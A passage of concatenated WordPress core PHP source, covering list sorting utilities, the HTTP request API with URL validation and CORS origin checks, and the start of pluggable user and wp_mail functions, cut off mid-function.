		 */
		foreach ( $this->output as $value ) {
			if ( is_object( $value ) ) {
				if ( isset( $value->$index_key ) ) {
					$newlist[ $value->$index_key ] = $value->$field;
				} else {
					$newlist[] = $value->$field;
				}
			} elseif ( is_array( $value ) ) {
				if ( isset( $value[ $index_key ] ) ) {
					$newlist[ $value[ $index_key ] ] = $value[ $field ];
				} else {
					$newlist[] = $value[ $field ];
				}
			} else {
				_doing_it_wrong(
					__METHOD__,
					__( 'Values for the input array must be either objects or arrays.' ),
					'6.2.0'
				);
			}
		}

		$this->output = $newlist;

		return $this->output;
	}

	/**
	 * Sorts the input array based on one or more orderby arguments.
	 *
	 * @since 4.7.0
	 *
	 * @param string|array $orderby       Optional. Either the field name to order by or an array
	 *                                    of multiple orderby fields as `$orderby => $order`.
	 *                                    Default empty array.
	 * @param string       $order         Optional. Either 'ASC' or 'DESC'. Only used if `$orderby`
	 *                                    is a string. Default 'ASC'.
	 * @param bool         $preserve_keys Optional. Whether to preserve keys. Default false.
	 * @return array The sorted array.
	 */
	public function sort( $orderby = array(), $order = 'ASC', $preserve_keys = false ) {
		if ( empty( $orderby ) ) {
			return $this->output;
		}

		if ( is_string( $orderby ) ) {
			$orderby = array( $orderby => $order );
		}

		foreach ( $orderby as $field => $direction ) {
			$orderby[ $field ] = 'DESC' === strtoupper( $direction ) ? 'DESC' : 'ASC';
		}

		$this->orderby = $orderby;

		if ( $preserve_keys ) {
			uasort( $this->output, array( $this, 'sort_callback' ) );
		} else {
			usort( $this->output, array( $this, 'sort_callback' ) );
		}

		$this->orderby = array();

		return $this->output;
	}

	/**
	 * Callback to sort an array by specific fields.
	 *
	 * @since 4.7.0
	 *
	 * @see WP_List_Util::sort()
	 *
	 * @param object|array $a One object to compare.
	 * @param object|array $b The other object to compare.
	 * @return int 0 if both objects equal. -1 if second object should come first, 1 otherwise.
	 */
	private function sort_callback( $a, $b ) {
		if ( empty( $this->orderby ) ) {
			return 0;
		}

		$a = (array) $a;
		$b = (array) $b;

		foreach ( $this->orderby as $field => $direction ) {
			if ( ! isset( $a[ $field ] ) || ! isset( $b[ $field ] ) ) {
				continue;
			}

			if ( $a[ $field ] == $b[ $field ] ) {
				continue;
			}

			$results = 'DESC' === $direction ? array( 1, -1 ) : array( -1, 1 );

			if ( is_numeric( $a[ $field ] ) && is_numeric( $b[ $field ] ) ) {
				return ( $a[ $field ] < $b[ $field ] ) ? $results[0] : $results[1];
			}

			return 0 > strcmp( $a[ $field ], $b[ $field ] ) ? $results[0] : $results[1];
		}

		return 0;
	}
}
<?php
/**
 * Core HTTP Request API
 *
 * Standardizes the HTTP requests for WordPress. Handles cookies, gzip encoding and decoding, chunk
 * decoding, if HTTP 1.1 and various other difficult HTTP protocol implementations.
 *
 * @package WordPress
 * @subpackage HTTP
 */

/**
 * Returns the initialized WP_Http Object
 *
 * @since 2.7.0
 * @access private
 *
 * @return WP_Http HTTP Transport object.
 */
function _wp_http_get_object() {
	static $http = null;

	if ( is_null( $http ) ) {
		$http = new WP_Http();
	}
	return $http;
}

/**
 * Retrieve the raw response from a safe HTTP request.
 *
 * This function is ideal when the HTTP request is being made to an arbitrary
 * URL. The URL is validated to avoid redirection and request forgery attacks.
 *
 * @since 3.6.0
 *
 * @see wp_remote_request() For more information on the response array format.
 * @see WP_Http::request() For default arguments information.
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error The response or WP_Error on failure.
 */
function wp_safe_remote_request( $url, $args = array() ) {
	$args['reject_unsafe_urls'] = true;
	$http                       = _wp_http_get_object();
	return $http->request( $url, $args );
}

/**
 * Retrieve the raw response from a safe HTTP request using the GET method.
 *
 * This function is ideal when the HTTP request is being made to an arbitrary
 * URL. The URL is validated to avoid redirection and request forgery attacks.
 *
 * @since 3.6.0
 *
 * @see wp_remote_request() For more information on the response array format.
 * @see WP_Http::request() For default arguments information.
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error The response or WP_Error on failure.
 */
function wp_safe_remote_get( $url, $args = array() ) {
	$args['reject_unsafe_urls'] = true;
	$http                       = _wp_http_get_object();
	return $http->get( $url, $args );
}

/**
 * Retrieve the raw response from a safe HTTP request using the POST method.
 *
 * This function is ideal when the HTTP request is being made to an arbitrary
 * URL. The URL is validated to avoid redirection and request forgery attacks.
 *
 * @since 3.6.0
 *
 * @see wp_remote_request() For more information on the response array format.
 * @see WP_Http::request() For default arguments information.
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error The response or WP_Error on failure.
 */
function wp_safe_remote_post( $url, $args = array() ) {
	$args['reject_unsafe_urls'] = true;
	$http                       = _wp_http_get_object();
	return $http->post( $url, $args );
}

/**
 * Retrieve the raw response from a safe HTTP request using the HEAD method.
 *
 * This function is ideal when the HTTP request is being made to an arbitrary
 * URL. The URL is validated to avoid redirection and request forgery attacks.
 *
 * @since 3.6.0
 *
 * @see wp_remote_request() For more information on the response array format.
 * @see WP_Http::request() For default arguments information.
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error The response or WP_Error on failure.
 */
function wp_safe_remote_head( $url, $args = array() ) {
	$args['reject_unsafe_urls'] = true;
	$http                       = _wp_http_get_object();
	return $http->head( $url, $args );
}

/**
 * Performs an HTTP request and returns its response.
 *
 * There are other API functions available which abstract away the HTTP method:
 *
 *  - Default 'GET'  for wp_remote_get()
 *  - Default 'POST' for wp_remote_post()
 *  - Default 'HEAD' for wp_remote_head()
 *
 * @since 2.7.0
 *
 * @see WP_Http::request() For information on default arguments.
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error {
 *     The response array or a WP_Error on failure.
 *
 *     @type string[]                       $headers       Array of response headers keyed by their name.
 *     @type string                         $body          Response body.
 *     @type array                          $response      {
 *         Data about the HTTP response.
 *
 *         @type int|false    $code    HTTP response code.
 *         @type string|false $message HTTP response message.
 *     }
 *     @type WP_HTTP_Cookie[]               $cookies       Array of response cookies.
 *     @type WP_HTTP_Requests_Response|null $http_response Raw HTTP response object.
 * }
 */
function wp_remote_request( $url, $args = array() ) {
	$http = _wp_http_get_object();
	return $http->request( $url, $args );
}

/**
 * Performs an HTTP request using the GET method and returns its response.
 *
 * @since 2.7.0
 *
 * @see wp_remote_request() For more information on the response array format.
 * @see WP_Http::request() For default arguments information.
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error The response or WP_Error on failure.
 */
function wp_remote_get( $url, $args = array() ) {
	$http = _wp_http_get_object();
	return $http->get( $url, $args );
}

/**
 * Performs an HTTP request using the POST method and returns its response.
 *
 * @since 2.7.0
 *
 * @see wp_remote_request() For more information on the response array format.
 * @see WP_Http::request() For default arguments information.
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error The response or WP_Error on failure.
 */
function wp_remote_post( $url, $args = array() ) {
	$http = _wp_http_get_object();
	return $http->post( $url, $args );
}

/**
 * Performs an HTTP request using the HEAD method and returns its response.
 *
 * @since 2.7.0
 *
 * @see wp_remote_request() For more information on the response array format.
 * @see WP_Http::request() For default arguments information.
 *
 * @param string $url  URL to retrieve.
 * @param array  $args Optional. Request arguments. Default empty array.
 *                     See WP_Http::request() for information on accepted arguments.
 * @return array|WP_Error The response or WP_Error on failure.
 */
function wp_remote_head( $url, $args = array() ) {
	$http = _wp_http_get_object();
	return $http->head( $url, $args );
}

/**
 * Retrieve only the headers from the raw response.
 *
 * @since 2.7.0
 * @since 4.6.0 Return value changed from an array to an WpOrg\Requests\Utility\CaseInsensitiveDictionary instance.
 *
 * @see \WpOrg\Requests\Utility\CaseInsensitiveDictionary
 *
 * @param array|WP_Error $response HTTP response.
 * @return \WpOrg\Requests\Utility\CaseInsensitiveDictionary|array The headers of the response, or empty array
 *                                                                 if incorrect parameter given.
 */
function wp_remote_retrieve_headers( $response ) {
	if ( is_wp_error( $response ) || ! isset( $response['headers'] ) ) {
		return array();
	}

	return $response['headers'];
}

/**
 * Retrieve a single header by name from the raw response.
 *
 * @since 2.7.0
 *
 * @param array|WP_Error $response HTTP response.
 * @param string         $header   Header name to retrieve value from.
 * @return array|string The header(s) value(s). Array if multiple headers with the same name are retrieved.
 *                      Empty string if incorrect parameter given, or if the header doesn't exist.
 */
function wp_remote_retrieve_header( $response, $header ) {
	if ( is_wp_error( $response ) || ! isset( $response['headers'] ) ) {
		return '';
	}

	if ( isset( $response['headers'][ $header ] ) ) {
		return $response['headers'][ $header ];
	}

	return '';
}

/**
 * Retrieve only the response code from the raw response.
 *
 * Will return an empty string if incorrect parameter value is given.
 *
 * @since 2.7.0
 *
 * @param array|WP_Error $response HTTP response.
 * @return int|string The response code as an integer. Empty string if incorrect parameter given.
 */
function wp_remote_retrieve_response_code( $response ) {
	if ( is_wp_error( $response ) || ! isset( $response['response'] ) || ! is_array( $response['response'] ) ) {
		return '';
	}

	return $response['response']['code'];
}

/**
 * Retrieve only the response message from the raw response.
 *
 * Will return an empty string if incorrect parameter value is given.
 *
 * @since 2.7.0
 *
 * @param array|WP_Error $response HTTP response.
 * @return string The response message. Empty string if incorrect parameter given.
 */
function wp_remote_retrieve_response_message( $response ) {
	if ( is_wp_error( $response ) || ! isset( $response['response'] ) || ! is_array( $response['response'] ) ) {
		return '';
	}

	return $response['response']['message'];
}

/**
 * Retrieve only the body from the raw response.
 *
 * @since 2.7.0
 *
 * @param array|WP_Error $response HTTP response.
 * @return string The body of the response. Empty string if no body or incorrect parameter given.
 */
function wp_remote_retrieve_body( $response ) {
	if ( is_wp_error( $response ) || ! isset( $response['body'] ) ) {
		return '';
	}

	return $response['body'];
}

/**
 * Retrieve only the cookies from the raw response.
 *
 * @since 4.4.0
 *
 * @param array|WP_Error $response HTTP response.
 * @return WP_Http_Cookie[] An array of `WP_Http_Cookie` objects from the response.
 *                          Empty array if there are none, or the response is a WP_Error.
 */
function wp_remote_retrieve_cookies( $response ) {
	if ( is_wp_error( $response ) || empty( $response['cookies'] ) ) {
		return array();
	}

	return $response['cookies'];
}

/**
 * Retrieve a single cookie by name from the raw response.
 *
 * @since 4.4.0
 *
 * @param array|WP_Error $response HTTP response.
 * @param string         $name     The name of the cookie to retrieve.
 * @return WP_Http_Cookie|string The `WP_Http_Cookie` object, or empty string
 *                               if the cookie is not present in the response.
 */
function wp_remote_retrieve_cookie( $response, $name ) {
	$cookies = wp_remote_retrieve_cookies( $response );

	if ( empty( $cookies ) ) {
		return '';
	}

	foreach ( $cookies as $cookie ) {
		if ( $cookie->name === $name ) {
			return $cookie;
		}
	}

	return '';
}

/**
 * Retrieve a single cookie's value by name from the raw response.
 *
 * @since 4.4.0
 *
 * @param array|WP_Error $response HTTP response.
 * @param string         $name     The name of the cookie to retrieve.
 * @return string The value of the cookie, or empty string
 *                if the cookie is not present in the response.
 */
function wp_remote_retrieve_cookie_value( $response, $name ) {
	$cookie = wp_remote_retrieve_cookie( $response, $name );

	if ( ! ( $cookie instanceof WP_Http_Cookie ) ) {
		return '';
	}

	return $cookie->value;
}

/**
 * Determines if there is an HTTP Transport that can process this request.
 *
 * @since 3.2.0
 *
 * @param array  $capabilities Array of capabilities to test or a wp_remote_request() $args array.
 * @param string $url          Optional. If given, will check if the URL requires SSL and adds
 *                             that requirement to the capabilities array.
 *
 * @return bool
 */
function wp_http_supports( $capabilities = array(), $url = null ) {
	$http = _wp_http_get_object();

	$capabilities = wp_parse_args( $capabilities );

	$count = count( $capabilities );

	// If we have a numeric $capabilities array, spoof a wp_remote_request() associative $args array.
	if ( $count && count( array_filter( array_keys( $capabilities ), 'is_numeric' ) ) === $count ) {
		$capabilities = array_combine( array_values( $capabilities ), array_fill( 0, $count, true ) );
	}

	if ( $url && ! isset( $capabilities['ssl'] ) ) {
		$scheme = parse_url( $url, PHP_URL_SCHEME );
		if ( 'https' === $scheme || 'ssl' === $scheme ) {
			$capabilities['ssl'] = true;
		}
	}

	return (bool) $http->_get_first_available_transport( $capabilities );
}

/**
 * Get the HTTP Origin of the current request.
 *
 * @since 3.4.0
 *
 * @return string URL of the origin. Empty string if no origin.
 */
function get_http_origin() {
	$origin = '';
	if ( ! empty( $_SERVER['HTTP_ORIGIN'] ) ) {
		$origin = $_SERVER['HTTP_ORIGIN'];
	}

	/**
	 * Change the origin of an HTTP request.
	 *
	 * @since 3.4.0
	 *
	 * @param string $origin The original origin for the request.
	 */
	return apply_filters( 'http_origin', $origin );
}

/**
 * Retrieve list of allowed HTTP origins.
 *
 * @since 3.4.0
 *
 * @return string[] Array of origin URLs.
 */
function get_allowed_http_origins() {
	$admin_origin = parse_url( admin_url() );
	$home_origin  = parse_url( home_url() );

	// @todo Preserve port?
	$allowed_origins = array_unique(
		array(
			'http://' . $admin_origin['host'],
			'https://' . $admin_origin['host'],
			'http://' . $home_origin['host'],
			'https://' . $home_origin['host'],
		)
	);

	/**
	 * Change the origin types allowed for HTTP requests.
	 *
	 * @since 3.4.0
	 *
	 * @param string[] $allowed_origins {
	 *     Array of default allowed HTTP origins.
	 *
	 *     @type string $0 Non-secure URL for admin origin.
	 *     @type string $1 Secure URL for admin origin.
	 *     @type string $2 Non-secure URL for home origin.
	 *     @type string $3 Secure URL for home origin.
	 * }
	 */
	return apply_filters( 'allowed_http_origins', $allowed_origins );
}

/**
 * Determines if the HTTP origin is an authorized one.
 *
 * @since 3.4.0
 *
 * @param string|null $origin Origin URL. If not provided, the value of get_http_origin() is used.
 * @return string Origin URL if allowed, empty string if not.
 */
function is_allowed_http_origin( $origin = null ) {
	$origin_arg = $origin;

	if ( null === $origin ) {
		$origin = get_http_origin();
	}

	if ( $origin && ! in_array( $origin, get_allowed_http_origins(), true ) ) {
		$origin = '';
	}

	/**
	 * Change the allowed HTTP origin result.
	 *
	 * @since 3.4.0
	 *
	 * @param string $origin     Origin URL if allowed, empty string if not.
	 * @param string $origin_arg Original origin string passed into is_allowed_http_origin function.
	 */
	return apply_filters( 'allowed_http_origin', $origin, $origin_arg );
}

/**
 * Send Access-Control-Allow-Origin and related headers if the current request
 * is from an allowed origin.
 *
 * If the request is an OPTIONS request, the script exits with either access
 * control headers sent, or a 403 response if the origin is not allowed. For
 * other request methods, you will receive a return value.
 *
 * @since 3.4.0
 *
 * @return string|false Returns the origin URL if headers are sent. Returns false
 *                      if headers are not sent.
 */
function send_origin_headers() {
	$origin = get_http_origin();

	if ( is_allowed_http_origin( $origin ) ) {
		header( 'Access-Control-Allow-Origin: ' . $origin );
		header( 'Access-Control-Allow-Credentials: true' );
		if ( 'OPTIONS' === $_SERVER['REQUEST_METHOD'] ) {
			exit;
		}
		return $origin;
	}

	if ( 'OPTIONS' === $_SERVER['REQUEST_METHOD'] ) {
		status_header( 403 );
		exit;
	}

	return false;
}

/**
 * Validate a URL for safe use in the HTTP API.
 *
 * @since 3.5.2
 *
 * @param string $url Request URL.
 * @return string|false URL or false on failure.
 */
function wp_http_validate_url( $url ) {
	if ( ! is_string( $url ) || '' === $url || is_numeric( $url ) ) {
		return false;
	}

	$original_url = $url;
	$url          = wp_kses_bad_protocol( $url, array( 'http', 'https' ) );
	if ( ! $url || strtolower( $url ) !== strtolower( $original_url ) ) {
		return false;
	}

	$parsed_url = parse_url( $url );
	if ( ! $parsed_url || empty( $parsed_url['host'] ) ) {
		return false;
	}

	if ( isset( $parsed_url['user'] ) || isset( $parsed_url['pass'] ) ) {
		return false;
	}

	if ( false !== strpbrk( $parsed_url['host'], ':#?[]' ) ) {
		return false;
	}

	$parsed_home = parse_url( get_option( 'home' ) );
	$same_host   = isset( $parsed_home['host'] ) && strtolower( $parsed_home['host'] ) === strtolower( $parsed_url['host'] );
	$host        = trim( $parsed_url['host'], '.' );

	if ( ! $same_host ) {
		if ( preg_match( '#^(([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)\.){3}([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)$#', $host ) ) {
			$ip = $host;
		} else {
			$ip = gethostbyname( $host );
			if ( $ip === $host ) { // Error condition for gethostbyname().
				return false;
			}
		}
		if ( $ip ) {
			$parts = array_map( 'intval', explode( '.', $ip ) );
			if ( 127 === $parts[0] || 10 === $parts[0] || 0 === $parts[0]
				|| ( 172 === $parts[0] && 16 <= $parts[1] && 31 >= $parts[1] )
				|| ( 192 === $parts[0] && 168 === $parts[1] )
			) {
				// If host appears local, reject unless specifically allowed.
				/**
				 * Check if HTTP request is external or not.
				 *
				 * Allows to change and allow external requests for the HTTP request.
				 *
				 * @since 3.6.0
				 *
				 * @param bool   $external Whether HTTP request is external or not.
				 * @param string $host     Host name of the requested URL.
				 * @param string $url      Requested URL.
				 */
				if ( ! apply_filters( 'http_request_host_is_external', false, $host, $url ) ) {
					return false;
				}
			}
		}
	}

	if ( empty( $parsed_url['port'] ) ) {
		return $url;
	}

	$port = $parsed_url['port'];

	/**
	 * Controls the list of ports considered safe in HTTP API.
	 *
	 * Allows to change and allow external requests for the HTTP request.
	 *
	 * @since 5.9.0
	 *
	 * @param int[]  $allowed_ports Array of integers for valid ports.
	 * @param string $host          Host name of the requested URL.
	 * @param string $url           Requested URL.
	 */
	$allowed_ports = apply_filters( 'http_allowed_safe_ports', array( 80, 443, 8080 ), $host, $url );
	if ( is_array( $allowed_ports ) && in_array( $port, $allowed_ports, true ) ) {
		return $url;
	}

	if ( $parsed_home && $same_host && isset( $parsed_home['port'] ) && $parsed_home['port'] === $port ) {
		return $url;
	}

	return false;
}

/**
 * Mark allowed redirect hosts safe for HTTP requests as well.
 *
 * Attached to the {@see 'http_request_host_is_external'} filter.
 *
 * @since 3.6.0
 *
 * @param bool   $is_external
 * @param string $host
 * @return bool
 */
function allowed_http_request_hosts( $is_external, $host ) {
	if ( ! $is_external && wp_validate_redirect( 'http://' . $host ) ) {
		$is_external = true;
	}
	return $is_external;
}

/**
 * Adds any domain in a multisite installation for safe HTTP requests to the
 * allowed list.
 *
 * Attached to the {@see 'http_request_host_is_external'} filter.
 *
 * @since 3.6.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param bool   $is_external
 * @param string $host
 * @return bool
 */
function ms_allowed_http_request_hosts( $is_external, $host ) {
	global $wpdb;
	static $queried = array();
	if ( $is_external ) {
		return $is_external;
	}
	if ( get_network()->domain === $host ) {
		return true;
	}
	if ( isset( $queried[ $host ] ) ) {
		return $queried[ $host ];
	}
	$queried[ $host ] = (bool) $wpdb->get_var( $wpdb->prepare( "SELECT domain FROM $wpdb->blogs WHERE domain = %s LIMIT 1", $host ) );
	return $queried[ $host ];
}

/**
 * A wrapper for PHP's parse_url() function that handles consistency in the return values
 * across PHP versions.
 *
 * PHP 5.4.7 expanded parse_url()'s ability to handle non-absolute URLs, including
 * schemeless and relative URLs with "://" in the path. This function works around
 * those limitations providing a standard output on PHP 5.2~5.4+.
 *
 * Secondly, across various PHP versions, schemeless URLs containing a ":" in the query
 * are being handled inconsistently. This function works around those differences as well.
 *
 * @since 4.4.0
 * @since 4.7.0 The `$component` parameter was added for parity with PHP's `parse_url()`.
 *
 * @link https://www.php.net/manual/en/function.parse-url.php
 *
 * @param string $url       The URL to parse.
 * @param int    $component The specific component to retrieve. Use one of the PHP
 *                          predefined constants to specify which one.
 *                          Defaults to -1 (= return all parts as an array).
 * @return mixed False on parse failure; Array of URL components on success;
 *               When a specific component has been requested: null if the component
 *               doesn't exist in the given URL; a string or - in the case of
 *               PHP_URL_PORT - integer when it does. See parse_url()'s return values.
 */
function wp_parse_url( $url, $component = -1 ) {
	$to_unset = array();
	$url      = (string) $url;

	if ( str_starts_with( $url, '//' ) ) {
		$to_unset[] = 'scheme';
		$url        = 'placeholder:' . $url;
	} elseif ( str_starts_with( $url, '/' ) ) {
		$to_unset[] = 'scheme';
		$to_unset[] = 'host';
		$url        = 'placeholder://placeholder' . $url;
	}

	$parts = parse_url( $url );

	if ( false === $parts ) {
		// Parsing failure.
		return $parts;
	}

	// Remove the placeholder values.
	foreach ( $to_unset as $key ) {
		unset( $parts[ $key ] );
	}

	return _get_component_from_parsed_url_array( $parts, $component );
}

/**
 * Retrieve a specific component from a parsed URL array.
 *
 * @internal
 *
 * @since 4.7.0
 * @access private
 *
 * @link https://www.php.net/manual/en/function.parse-url.php
 *
 * @param array|false $url_parts The parsed URL. Can be false if the URL failed to parse.
 * @param int         $component The specific component to retrieve. Use one of the PHP
 *                               predefined constants to specify which one.
 *                               Defaults to -1 (= return all parts as an array).
 * @return mixed False on parse failure; Array of URL components on success;
 *               When a specific component has been requested: null if the component
 *               doesn't exist in the given URL; a string or - in the case of
 *               PHP_URL_PORT - integer when it does. See parse_url()'s return values.
 */
function _get_component_from_parsed_url_array( $url_parts, $component = -1 ) {
	if ( -1 === $component ) {
		return $url_parts;
	}

	$key = _wp_translate_php_url_constant_to_key( $component );
	if ( false !== $key && is_array( $url_parts ) && isset( $url_parts[ $key ] ) ) {
		return $url_parts[ $key ];
	} else {
		return null;
	}
}

/**
 * Translate a PHP_URL_* constant to the named array keys PHP uses.
 *
 * @internal
 *
 * @since 4.7.0
 * @access private
 *
 * @link https://www.php.net/manual/en/url.constants.php
 *
 * @param int $constant PHP_URL_* constant.
 * @return string|false The named key or false.
 */
function _wp_translate_php_url_constant_to_key( $constant ) {
	$translation = array(
		PHP_URL_SCHEME   => 'scheme',
		PHP_URL_HOST     => 'host',
		PHP_URL_PORT     => 'port',
		PHP_URL_USER     => 'user',
		PHP_URL_PASS     => 'pass',
		PHP_URL_PATH     => 'path',
		PHP_URL_QUERY    => 'query',
		PHP_URL_FRAGMENT => 'fragment',
	);

	if ( isset( $translation[ $constant ] ) ) {
		return $translation[ $constant ];
	} else {
		return false;
	}
}
<?php
/**
 * These functions can be replaced via plugins. If plugins do not redefine these
 * functions, then these will be used instead.
 *
 * @package WordPress
 */

if ( ! function_exists( 'wp_set_current_user' ) ) :
	/**
	 * Changes the current user by ID or name.
	 *
	 * Set $id to null and specify a name if you do not know a user's ID.
	 *
	 * Some WordPress functionality is based on the current user and not based on
	 * the signed in user. Therefore, it opens the ability to edit and perform
	 * actions on users who aren't signed in.
	 *
	 * @since 2.0.3
	 *
	 * @global WP_User $current_user The current user object which holds the user data.
	 *
	 * @param int|null $id   User ID.
	 * @param string   $name User's username.
	 * @return WP_User Current user User object.
	 */
	function wp_set_current_user( $id, $name = '' ) {
		global $current_user;

		// If `$id` matches the current user, there is nothing to do.
		if ( isset( $current_user )
		&& ( $current_user instanceof WP_User )
		&& ( $id == $current_user->ID )
		&& ( null !== $id )
		) {
			return $current_user;
		}

		$current_user = new WP_User( $id, $name );

		setup_userdata( $current_user->ID );

		/**
		 * Fires after the current user is set.
		 *
		 * @since 2.0.1
		 */
		do_action( 'set_current_user' );

		return $current_user;
	}
endif;

if ( ! function_exists( 'wp_get_current_user' ) ) :
	/**
	 * Retrieves the current user object.
	 *
	 * Will set the current user, if the current user is not set. The current user
	 * will be set to the logged-in person. If no user is logged-in, then it will
	 * set the current user to 0, which is invalid and won't have any permissions.
	 *
	 * @since 2.0.3
	 *
	 * @see _wp_get_current_user()
	 * @global WP_User $current_user Checks if the current user is set.
	 *
	 * @return WP_User Current WP_User instance.
	 */
	function wp_get_current_user() {
		return _wp_get_current_user();
	}
endif;

if ( ! function_exists( 'get_userdata' ) ) :
	/**
	 * Retrieves user info by user ID.
	 *
	 * @since 0.71
	 *
	 * @param int $user_id User ID
	 * @return WP_User|false WP_User object on success, false on failure.
	 */
	function get_userdata( $user_id ) {
		return get_user_by( 'id', $user_id );
	}
endif;

if ( ! function_exists( 'get_user_by' ) ) :
	/**
	 * Retrieves user info by a given field.
	 *
	 * @since 2.8.0
	 * @since 4.4.0 Added 'ID' as an alias of 'id' for the `$field` parameter.
	 *
	 * @global WP_User $current_user The current user object which holds the user data.
	 *
	 * @param string     $field The field to retrieve the user with. id | ID | slug | email | login.
	 * @param int|string $value A value for $field. A user ID, slug, email address, or login name.
	 * @return WP_User|false WP_User object on success, false on failure.
	 */
	function get_user_by( $field, $value ) {
		$userdata = WP_User::get_data_by( $field, $value );

		if ( ! $userdata ) {
			return false;
		}

		$user = new WP_User();
		$user->init( $userdata );

		return $user;
	}
endif;

if ( ! function_exists( 'cache_users' ) ) :
	/**
	 * Retrieves info for user lists to prevent multiple queries by get_userdata().
	 *
	 * @since 3.0.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param int[] $user_ids User ID numbers list
	 */
	function cache_users( $user_ids ) {
		global $wpdb;

		update_meta_cache( 'user', $user_ids );

		$clean = _get_non_cached_ids( $user_ids, 'users' );

		if ( empty( $clean ) ) {
			return;
		}

		$list = implode( ',', $clean );

		$users = $wpdb->get_results( "SELECT * FROM $wpdb->users WHERE ID IN ($list)" );

		foreach ( $users as $user ) {
			update_user_caches( $user );
		}
	}
endif;

if ( ! function_exists( 'wp_mail' ) ) :
	/**
	 * Sends an email, similar to PHP's mail function.
	 *
	 * A true return value does not automatically mean that the user received the
	 * email successfully. It just only means that the method used was able to
	 * process the request without any errors.
	 *
	 * The default content type is `text/plain` which does not allow using HTML.
	 * However, you can set the content type of the email by using the
	 * {@see 'wp_mail_content_type'} filter.
	 *
	 * The default charset is based on the charset used on the blog. The charset can
	 * be set using the {@see 'wp_mail_charset'} filter.
	 *
	 * @since 1.2.1
	 * @since 5.5.0 is_email() is used for email validation,
	 *              instead of PHPMailer's default validator.
	 *
	 * @global PHPMailer\PHPMailer\PHPMailer $phpmailer
	 *
	 * @param string|string[] $to          Array or comma-separated list of email addresses to send message.
	 * @param string          $subject     Email subject.
	 * @param string          $message     Message contents.
	 * @param string|string[] $headers     Optional. Additional headers.
	 * @param string|string[] $attachments Optional. Paths to files to attach.
	 * @return bool Whether the email was sent successfully.
	 */
	function wp_mail( $to, $subject, $message, $headers = '', $attachments = array() ) {
		// Compact the input, apply the filters, and extract them back out.

		/**
		 * Filters the wp_mail() arguments.
		 *
		 * @since 2.2.0
		 *
		 * @param array $args {
		 *     Array of the `wp_mail()` arguments.
		 *
		 *     @type string|string[] $to          Array or comma-separated list of email addresses to send message.
		 *     @type string          $subject     Email subject.
		 *     @type string          $message     Message contents.
		 *     @type string|string[] $headers     Additional headers.
		 *     @type string|string[] $attachments Paths to files to attach.
		 * }
		 */
		$atts = apply_filters( 'wp_mail', compact( 'to', 'subject', 'message', 'headers', 'attachments' ) );

		/**
		 * Filters whether to preempt sending an email.
		 *
		 * Returning a non-null value will short-circuit {@see wp_mail()}, returning
		 * that value instead. A boolean return value should be used to indicate whether
		 * the email was successfully sent.
		 *
		 * @since 5.7.0
		 *
		 * @param null|bool $return Short-circuit return value.
		 * @param array     $atts {
		 *     Array of the `wp_mail()` arguments.
		 *
		 *     @type string|string[] $to          Array or comma-separated list of email addresses to send message.
		 *     @type string          $subject     Email subject.
		 *     @type string          $message     Message contents.
		 *     @type string|string[] $headers     Additional headers.
		 *     @type string|string[] $attachments Paths to files to attach.
		 * }
		 */
		$pre_wp_mail = apply_filters( 'pre_wp_mail', null, $atts );

		if ( null !== $pre_wp_mail ) {
			return $pre_wp_mail;
		}

		if ( isset( $atts['to'] ) ) {
			$to = $atts['to'];
		}

		if ( ! is_array( $to ) ) {
			$to = explode( ',', $to );
		}

		if ( isset( $atts['subject'] ) ) {
			$subject = $atts['subject'];
		}

		if ( isset( $atts['message'] ) ) {
			$message = $atts['message'];
		}

		if ( isset( $atts['headers'] ) ) {
			$headers = $atts['headers'];
		}

		if ( isset( $atts['attachments'] ) ) {
			$attachments = $atts['attachments'];
		}

		if ( ! is_array( $attachments ) ) {
			$attachments = explode( "\n", str_replace( "\r\n", "\n", $attachments ) );
		}
		global $phpmailer;

		// (Re)create it, if it's gone missing.
		if ( ! ( $phpmailer instanceof PHPMailer\PHPMailer\PHPMailer ) ) {
			require_once ABSPATH . WPINC . '/PHPMailer/PHPMailer.php';
			require_once ABSPATH . WPINC . '/PHPMailer/SMTP.php';
			require_once ABSPATH . WPINC . '/PHPMailer/Exception.php';
			$phpmailer = new PHPMailer\PHPMailer\PHPMailer( true );

			$phpmailer::$validator = static function ( $email ) {
				return (bool) is_email( $email );
			};
		}

		// Headers.
		$cc       = array();
		$bcc      = array();
		$reply_to = array();

		if ( empty( $headers ) ) {
			$headers = array();
		} else {
			if ( ! is_array( $headers ) ) {
				/*
				 * Explode the headers out, so this function can take
				 * both string headers and an array of headers.
				 */
				$tempheaders = explode( "\n", str_replace( "\r\n", "\n", $headers ) );
			} else {
				$tempheaders = $headers;
			}
			$headers = array();

			// If it's actually got contents.
			if ( ! empty( $tempheaders ) ) {
				// Iterate through the raw headers.
				foreach ( (array) $tempheaders as $header ) {
					if ( ! str_contains( $header, ':' ) ) {
						if ( false !== stripos( $header, 'boundary=' ) ) {
							$parts    = preg_split( '/boundary=/i', trim( $header ) );
							$boundary = trim( str_replace( array( "'", '"' ), '', $parts[1] ) );
						}
						continue;
					}
					// Explode them out.
					list( $name, $content ) = explode( ':', trim( $header ), 2 );

					// Cleanup crew.
					$name    = trim( $name );
					$content = trim( $content );

					switch ( strtolower( $name ) ) {
						// Mainly for legacy -- process a "From:" header if it's there.
						case 'from':
							$bracket_pos = strpos( $content, '<' );
							if ( false !== $bracket_pos ) {
